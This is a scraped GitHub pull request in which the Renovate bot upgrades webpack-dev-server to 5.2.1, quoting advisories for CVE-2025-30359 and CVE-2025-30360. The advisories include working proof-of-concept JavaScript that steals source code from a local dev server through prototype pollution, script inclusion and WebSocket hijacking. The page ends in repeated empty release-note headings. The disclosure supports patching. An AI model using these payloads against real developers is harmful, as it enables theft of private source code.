chore(deps): update dependency webpack-dev-server to v5 [security] - autoclosed #441

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renovate wants to merge 1 commit into master from renovate/npm-webpack-dev-server-vulnerability

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chore(deps): update dependency webpack-dev-server to v5 [security] - autoclosed #441

renovate wants to merge 1 commit into master from renovate/npm-webpack-dev-server-vulnerability

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@renovate renovate bot commented Aug 13, 2025 •

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This PR contains the following updates:

Package	Change	Age	Confidence
webpack-dev-server	`3.11.0` -> `5.2.1`	age	confidence

Warning

Some dependencies could not be looked up. Check the warning logs for more information.

GitHub Vulnerability Alerts

CVE-2025-30359

Summary

Source code may be stolen when you access a malicious web site.

Details

Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables.
By using Function::toString against the values in __webpack_modules__, the attacker can get the source code.

PoC

Download reproduction.zip and extract it
Run npm i
Run npx webpack-dev-server
Open https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/
You can see the source code output in the document and the devtools console.

image

The script in the POC site is:

let moduleList
const onHandlerSet = (handler) => {
 console.log('h', handler)
 moduleList = handler.require.m
}
const originalArrayForEach = Array.prototype.forEach
Array.prototype.forEach = function forEach(callback, thisArg) {
 callback((handler) => {
 onHandlerSet(handler)
 })
 originalArrayForEach.call(this, callback, thisArg)
 Array.prototype.forEach = originalArrayForEach
}
const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
 console.log(moduleList)
 for (const key in moduleList) {
 const p = document.createElement('p')
 const title = document.createElement('strong')
 title.textContent = key
 const code = document.createElement('code')
 code.textContent = moduleList[key].toString()
 p.append(title, ':', document.createElement('br'), code)
 document.body.appendChild(p)
 }
})
document.head.appendChild(script)

This script uses the function generated by renderRequire.

 // The require function
 function __webpack_require__(moduleId) {
 // Check if module is in cache
 var cachedModule = __webpack_module_cache__[moduleId];
 if (cachedModule !== undefined) {
 return cachedModule.exports;
 }
 // Create a new module (and put it into the cache)
 var module = __webpack_module_cache__[moduleId] = {
 // no module.id needed
 // no module.loaded needed
 exports: {}
 };
 // Execute the module function
 var execOptions = {
 id: moduleId,
 module: module,
 factory: __webpack_modules__[moduleId],
 require: __webpack_require__
 };
 __webpack_require__.i.forEach(function(handler) {
 handler(execOptions);
 });
 module = execOptions.module;
 execOptions.factory.call(module.exports, module, module.exports, execOptions.require);
 // Return the exports of the module
 return module.exports;
 }

Especially, it uses the fact that Array::forEach is called for __webpack_require__.i and execOptions contains __webpack_require__.
It uses prototype pollution against Array::forEach to extract __webpack_require__ reference.

Impact

This vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script.

Old content

Summary

Source code may be stolen when you use output.iife: false and access a malicious web site.

Details

When output.iife: false is set, some global variables for the webpack runtime are declared on the window object (e.g. __webpack_modules__).
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. By running that, the webpack runtime variables will be declared on the window object.
By using Function::toString against the values in __webpack_modules__, the attacker can get the source code.

I pointed out output.iife: false, but if there are other options that makes the webpack runtime variables to be declared on the window object, the same will apply for those cases.

PoC

Download reproduction.zip and extract it
Run npm i
Run npx webpack-dev-server
Open https://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/
Open the devtools console.
You can see the content of src/index.js and other scripts loaded.

image

The script in the POC site is:

const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
 for (const module in window.__webpack_modules__) {
 console.log(`${module}:`, window.__webpack_modules__[module].toString())
 }
})
document.head.appendChild(script)

Impact

This vulnerability can result in the source code to be stolen for users that has output.iife: false option set and uses a predictable port and output path for the entrypoint script.

CVE-2025-30360

Summary

Source code may be stolen when you access a malicious web site with non-Chromium based browser.

Details

The Origin header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732.
But webpack-dev-server always allows IP address Origin headers.
https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127
This allows websites that are served on IP addresses to connect WebSocket.
By using the same method described in the article linked from CVE-2018-14732, the attacker get the source code.

related commit: webpack/webpack-dev-server@72efaab (note that checkHost function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.

This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to the non-HTTPS private access blocking feature.

PoC

Download reproduction.zip and extract it
Run npm i
Run npx webpack-dev-server
Open http://{ipaddress}/?target=http://localhost:8080&file=main with a non-Chromium browser (I used Firefox 134.0.1)
Edit src/index.js in the extracted directory
You can see the content of src/index.js

image

The script in the POC site is:

window.webpackHotUpdate = (...args) => {
 console.log(...args);
 for (i in args[1]) {
 document.body.innerText = args[1][i].toString() + document.body.innerText
	 console.log(args[1][i])
 }
}
let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let file = params.get('file')
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
var currentHash2 = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
 console.log(event.data);
 if (event.data.match('"type":"ok"')) {
 s = document.createElement('script');
 s.src = `${target}${file}.${currentHash2}.hot-update.js`;
 document.body.appendChild(s)
 }
 r = event.data.match(/"([0-9a-f]{20})"/);
 if (r !== null) {
 currentHash2 = currentHash;
 currentHash = r[1];
 console.log(currentHash, currentHash2);
 }
}

Impact

This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.

Release Notes

webpack/webpack-dev-server (webpack-dev-server)

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chore(deps): update dependency webpack-dev-server to v5 [security] - autoclosed #441

chore(deps): update dependency webpack-dev-server to v5 [security] - autoclosed #441

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@renovate renovate bot commented Aug 13, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

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GitHub Vulnerability Alerts

Summary

Details

PoC

Impact

Summary

Details

PoC

Impact

Summary

Details

PoC

Impact

Release Notes

Security

Bug Fixes

Features

Bug Fixes

Features

Bug Fixes

5.0.4 (2024年03月19日)

Bug Fixes

5.0.3 (2024年03月12日)

Bug Fixes

5.0.2 (2024年02月16日)

Bug Fixes

5.0.1 (2024年02月13日)

Bug Fixes

Security

Bug Fixes

Features

Bug Fixes

5.0.4 (2024年03月19日)

Bug Fixes

5.0.3 (2024年03月12日)

Bug Fixes

5.0.2 (2024年02月16日)

Bug Fixes

5.0.1 (2024年02月13日)

Bug Fixes

Features

Bug Fixes

5.0.4 (2024年03月19日)

Bug Fixes

5.0.3 (2024年03月12日)

Bug Fixes

5.0.2 (2024年02月16日)

Bug Fixes

5.0.1 (2024年02月13日)

Bug Fixes

Features

Bug Fixes

5.0.4 (2024年03月19日)

Bug Fixes

5.0.3 (2024年03月12日)

Bug Fixes

5.0.2 (2024年02月16日)

Bug Fixes

5.0.1 (2024年02月13日)

Bug Fixes

Features

Bug Fixes

5.0.4 (2024年03月19日)

Bug Fixes

5.0.3 (2024年03月12日)

Bug Fixes

5.0.2 (2024年02月16日)

Bug Fixes

5.0.1 (2024年02月13日)

Bug Fixes

4.15.2 (2024年03月20日)

Bug Fixes

@renovate renovate bot commented Aug 13, 2025 •

edited

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